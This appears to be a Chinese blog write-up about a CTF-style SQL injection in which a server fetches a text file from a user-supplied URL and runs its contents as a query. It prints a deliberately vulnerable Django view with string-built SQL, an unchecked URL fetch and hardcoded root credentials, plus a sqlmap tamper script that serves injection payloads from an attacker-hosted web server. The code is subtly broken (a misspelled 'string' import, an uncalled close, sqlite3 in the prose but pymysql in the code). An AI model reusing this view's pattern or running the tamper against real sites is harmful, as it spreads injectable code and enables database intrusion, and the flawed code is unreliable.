前段时间我这玩CTF的靶场,里面有一个很有意思的注入漏洞,后端是sqlite3做数据库,前台有一个地方上传txt,然后就会拿txt内容进行数据库查询,我根据它的原理,写了个sqlmap的tamper,可惜当时不行,就做了一下记录,刚刚翻到记录,为了验证想法,就写了一个测试网站出来。很简单,前台接受网址,后台解析查询,返回查询结果
#views.py from django.shortcuts import render import pymysql import requests # Create your views here.from django.http import HttpResponse def te(request): url = request.GET.get("url") r = requests.get(url=url) id = r.text.strip() db = pymysql.connect("127.0.0.1", "root", "123456", "t1", charset='utf8') cursor = db.cursor() cursor.execute("SELECT * FROM test where id =" + id) data = cursor.fetchone() db.close() return HttpResponse(data[1])
这是正常逻辑,txt内容为1
于是我就写了一个tamper进行注入,很简单,kali本地生成随机txt,里面写payloads,返回txt的访问地址
# !/usr/bin/env python import random import sting import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload name = ''.join(random.sample(string.ascii_letters + string.digits, 8)) if payload: f = open("/var/www/html/" + name + '.txt', 'w') f.write(payload) f.close return "http://192.168.0.106/" + name + ".txt"
测试过程
来源:freebuf.com 2019-11-26 10:38:18 by: 陌度
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册